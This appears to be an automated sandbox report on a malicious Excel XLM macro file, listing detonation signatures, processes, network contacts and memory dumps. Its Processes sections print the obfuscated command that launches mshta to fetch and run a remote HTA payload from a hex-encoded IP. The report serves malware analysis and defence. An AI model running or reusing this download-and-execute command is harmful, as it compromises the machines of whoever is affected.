Malware Analysis Report

2025-01-22 16:09

Sample ID 241111-vv6jfasdjr
Target 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829
SHA256 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829

Threat Level: Known bad

The file 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:19

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:19

Reported

2024-11-11 17:22

Platform

win7-20240903-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/328-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/328-1-0x000000007241D000-0x0000000072428000-memory.dmp

memory/328-2-0x000000007241D000-0x0000000072428000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:19

Reported

2024-11-11 17:22

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

139s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3024 wrote to memory of 3128 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3024 wrote to memory of 3128 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3128 wrote to memory of 1984 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 3128 wrote to memory of 1984 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 106.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 91.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

memory/3024-3-0x00007FFE4E96D000-0x00007FFE4E96E000-memory.dmp

memory/3024-2-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp

memory/3024-1-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp

memory/3024-0-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp

memory/3024-6-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-5-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp

memory/3024-4-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-8-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp

memory/3024-11-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-7-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-10-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-13-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-14-0x00007FFE0C820000-0x00007FFE0C830000-memory.dmp

memory/3024-12-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-15-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-17-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-18-0x00007FFE0C820000-0x00007FFE0C830000-memory.dmp

memory/3024-16-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-9-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

memory/3024-29-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 957f6e4bb5d6bde93a4da9c20e4f53d6
SHA1 f84c34a58edf19357775b93d21d7b2fbe2d34a9f
SHA256 7be898343017dd9fcc705057bb0e33e4599e240271e68df34dfe5687356460de
SHA512 483a14a27cee574b9b5995a4adfb72d1224bad055e2e1d9a35a253d9c8924b502ea5f22b1cd7dba0a7109f0e511b9112c948fc73b73afafadd0b1699d26aa6a6